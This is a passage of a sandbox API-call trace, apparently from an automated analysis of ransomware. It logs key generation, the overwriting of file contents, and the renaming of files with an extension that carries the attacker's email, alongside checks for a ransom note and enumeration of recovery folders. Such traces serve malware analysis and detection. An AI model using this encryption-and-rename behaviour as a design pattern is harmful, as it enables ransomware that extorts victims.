lpNewFilePointer=0x0) returned 1 [0061.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0061.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e47d8 [0061.833] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4dc8 [0061.833] NtQuerySystemTime (in: CurrentTime=0x84afd44 | out: CurrentTime=0x84afd44*=132121176197269856) returned 0x0 [0061.833] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x20d311fa [0061.833] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x7a22dae4 [0061.833] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0xb9cad278 [0061.833] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x97a17f61 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0xa957b9c4 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x3530d146 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x4907dc0c [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0xa4d73361 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x769293c6 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0xf3de444e [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0xce021067 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x6dd28e3f [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x4f9e0962 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0xadd5ff00 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x2123a2e9 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x30895098 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x288e1979 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x2ef3663d [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x141372f4 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x2c65c440 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0xd7e05c3a [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0xfec8306d [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0xd6384c5a [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x2dbc1073 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0xad1aba44 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x1a279f9f [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x224b4491 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x2621cf56 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0xe3a0e4a1 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0xfb52ec45 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0xd2fc4073 [0061.834] RtlRandom (in: Seed=0x84afd50 | out: Seed=0x84afd50) returned 0x9015b17f [0061.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c88 [0061.845] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.845] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4df0 [0061.845] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0061.845] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0061.845] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.845] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.845] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x84afd1c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x84afd1c*=0x4096, lpOverlapped=0x0) returned 1 [0061.846] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.846] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0061.846] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.846] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0061.846] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0061.846] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.846] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0061.846] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b700 [0061.846] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b700) returned 1 [0061.846] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.846] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0061.846] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x84afd1c, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x84afd1c*=0x4096, lpOverlapped=0x0) returned 1 [0061.847] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.847] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x97f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.847] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4800*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x84afd54, lpOverlapped=0x0 | out: lpBuffer=0x33e4800*, lpNumberOfBytesWritten=0x84afd54*=0x20, lpOverlapped=0x0) returned 1 [0061.847] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0061.847] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.847] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4df0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x84afd68, lpOverlapped=0x0 | out: lpBuffer=0x33e4df0*, lpNumberOfBytesWritten=0x84afd68*=0x8, lpOverlapped=0x0) returned 1 [0061.847] WriteFile (in: hFile=0x5b4, lpBuffer=0x84afd80*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x84afd68, lpOverlapped=0x0 | out: lpBuffer=0x84afd80*, lpNumberOfBytesWritten=0x84afd68*=0x4, lpOverlapped=0x0) returned 1 [0061.847] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x84afd68, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x84afd68*=0x4, lpOverlapped=0x0) returned 1 [0061.847] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x84afd68, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x84afd68*=0x6c, lpOverlapped=0x0) returned 1 [0061.847] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e47d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x84afd68, lpOverlapped=0x0 | out: lpBuffer=0x33e47d8*, lpNumberOfBytesWritten=0x84afd68*=0x20, lpOverlapped=0x0) returned 1 [0061.847] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x84afd68, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x84afd68*=0x4, lpOverlapped=0x0) returned 1 [0061.847] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e47d8) returned 1 [0061.847] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c88) returned 1 [0061.847] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4df0) returned 1 [0061.847] CloseHandle (hObject=0x5b4) returned 1 [0061.849] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e2840 [0061.849] wcscpy (in: _Dest=0x33e2840, _Source="C:\\588bce7c90097ed212\\UiInfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\UiInfo.xml" [0061.849] wcscat (in: _Dest=0x33e2840, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" [0061.849] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.850] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0061.850] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2840) returned 1 [0061.850] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml", dwFileAttributes=0x80) returned 0 [0061.850] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3481bb8 [0061.850] wcscpy (in: _Dest=0x3481bb8, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0061.850] wcscat (in: _Dest=0x3481bb8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0061.850] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0061.850] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481bb8) returned 1 [0061.850] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341c6b0) returned 1 [0061.851] RtlExitUserThread (Status=0x1) Thread: id = 114 os_tid = 0x1038 [0061.851] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp")) returned 0x80 [0061.852] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp", dwFileAttributes=0x20) returned 1 [0061.852] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.853] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x852fa3c | out: lpFileSize=0x852fa3c*=104072) returned 1 [0061.853] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x19684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.853] ReadFile (in: hFile=0x5b4, lpBuffer=0x852fa10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x852fa0c, lpOverlapped=0x0 | out: lpBuffer=0x852fa10*, lpNumberOfBytesRead=0x852fa0c*=0x4, lpOverlapped=0x0) returned 1 [0061.854] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0061.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b700 [0061.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b250 [0061.854] NtQuerySystemTime (in: CurrentTime=0x852f9e8 | out: CurrentTime=0x852f9e8*=132121176197425806) returned 0x0 [0061.854] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0xe80f57c3 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0xaed8f66e [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x9196b7bc [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0xea177ff8 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0xd432ddf2 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0xdb60d95b [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x85e4ea77 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x80d28f5d [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x6545dd4 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0xd3d2cf0f [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0xc9b7508b [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0xd5c6caae [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x6e21986b [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x148df020 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x222b065f [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x98798883 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x21adeb85 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x67531b43 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0xa5b14383 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x6b0acc64 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x5ba13ac4 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x5913116a [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0xa3591e1f [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x109cff0c [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x24764e39 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x76dcc559 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x85a6d9c7 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0xb28cc0a6 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x188e9451 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0xe02929b1 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0x3c175617 [0061.855] RtlRandom (in: Seed=0x852f9f4 | out: Seed=0x852f9f4) returned 0xb4a9415a [0061.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.866] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.866] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4c88 [0061.866] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0061.866] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0061.866] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.866] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.866] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x852f9c0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x852f9c0*=0x4096, lpOverlapped=0x0) returned 1 [0061.866] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.866] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0061.867] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.867] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4df0 [0061.867] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4df0) returned 1 [0061.867] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.867] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4df0 [0061.867] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e47d8 [0061.867] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e47d8) returned 1 [0061.867] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.867] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0061.867] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x852f9c0, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x852f9c0*=0x4096, lpOverlapped=0x0) returned 1 [0061.867] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.867] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x19688, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.868] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4df0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x852f9f8, lpOverlapped=0x0 | out: lpBuffer=0x33e4df0*, lpNumberOfBytesWritten=0x852f9f8*=0x20, lpOverlapped=0x0) returned 1 [0061.868] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4df0) returned 1 [0061.868] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.868] WriteFile (in: hFile=0x5b4, lpBuffer=0x33e4c88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x852fa0c, lpOverlapped=0x0 | out: lpBuffer=0x33e4c88*, lpNumberOfBytesWritten=0x852fa0c*=0x8, lpOverlapped=0x0) returned 1 [0061.868] WriteFile (in: hFile=0x5b4, lpBuffer=0x852fa24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x852fa0c, lpOverlapped=0x0 | out: lpBuffer=0x852fa24*, lpNumberOfBytesWritten=0x852fa0c*=0x4, lpOverlapped=0x0) returned 1 [0061.868] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x852fa0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x852fa0c*=0x4, lpOverlapped=0x0) returned 1 [0061.868] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x852fa0c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x852fa0c*=0x6c, lpOverlapped=0x0) returned 1 [0061.868] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b700*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x852fa0c, lpOverlapped=0x0 | out: lpBuffer=0x347b700*, lpNumberOfBytesWritten=0x852fa0c*=0x20, lpOverlapped=0x0) returned 1 [0061.868] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x852fa0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x852fa0c*=0x4, lpOverlapped=0x0) returned 1 [0061.868] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b700) returned 1 [0061.868] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.868] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c88) returned 1 [0061.868] CloseHandle (hObject=0x5b4) returned 1 [0061.871] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x33e21c8 [0061.871] wcscpy (in: _Dest=0x33e21c8, _Source="C:\\588bce7c90097ed212\\watermark.bmp" | out: _Dest="C:\\588bce7c90097ed212\\watermark.bmp") returned="C:\\588bce7c90097ed212\\watermark.bmp" [0061.871] wcscat (in: _Dest=0x33e21c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731" [0061.871] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), lpNewFileName="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.872] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0061.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e21c8) returned 1 [0061.872] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp", dwFileAttributes=0x80) returned 0 [0061.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x52) returned 0x3481eb8 [0061.872] wcscpy (in: _Dest=0x3481eb8, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0061.872] wcscat (in: _Dest=0x3481eb8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0061.872] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0061.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481eb8) returned 1 [0061.872] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341c750) returned 1 [0061.872] RtlExitUserThread (Status=0x1) Thread: id = 115 os_tid = 0x103c [0061.874] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x26) returned 0x33fc2e0 [0061.874] wcscpy (in: _Dest=0x33fc2e0, _Source="C:\\Recovery\\Logs" | out: _Dest="C:\\Recovery\\Logs") returned="C:\\Recovery\\Logs" [0061.874] wcscat (in: _Dest=0x33fc2e0, _Source="\\" | out: _Dest="C:\\Recovery\\Logs\\") returned="C:\\Recovery\\Logs\\" [0061.874] wcscat (in: _Dest=0x33fc2e0, _Source="*" | out: _Dest="C:\\Recovery\\Logs\\*") returned="C:\\Recovery\\Logs\\*" [0061.875] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x3452b88 [0061.875] FindFirstFileW (in: lpFileName="C:\\Recovery\\Logs\\*", lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433d68 [0061.875] wcscmp (_String1=".", _String2=".") returned 0 [0061.875] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.875] wcscmp (_String1="..", _String2=".") returned 1 [0061.875] wcscmp (_String1="..", _String2="..") returned 0 [0061.875] FindNextFileW (in: hFindFile=0x3433d68, lpFindFileData=0x3452b88 | out: lpFindFileData=0x3452b88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x28e9c3a2, ftLastAccessTime.dwHighDateTime=0x1d32795, ftLastWriteTime.dwLowDateTime=0x28e9c3a2, ftLastWriteTime.dwHighDateTime=0x1d32795, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0061.875] FindClose (in: hFindFile=0x3433d68 | out: hFindFile=0x3433d68) returned 1 [0061.875] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3452b88) returned 1 [0061.875] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc2e0) returned 1 [0061.875] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc7c0) returned 1 [0061.875] RtlExitUserThread (Status=0x0) Thread: id = 116 os_tid = 0x1040 [0061.876] GetFileAttributesW (lpFileName="C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml")) returned 0x2020 [0061.876] SetFileAttributesW (lpFileName="C:\\Recovery\\ReAgentOld.xml", dwFileAttributes=0x20) returned 1 [0061.877] CreateFileW (lpFileName="C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.877] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x862fc54 | out: lpFileSize=0x862fc54*=1006) returned 1 [0061.877] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x3ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.877] ReadFile (in: hFile=0x5b4, lpBuffer=0x862fc28, nNumberOfBytesToRead=0x4, 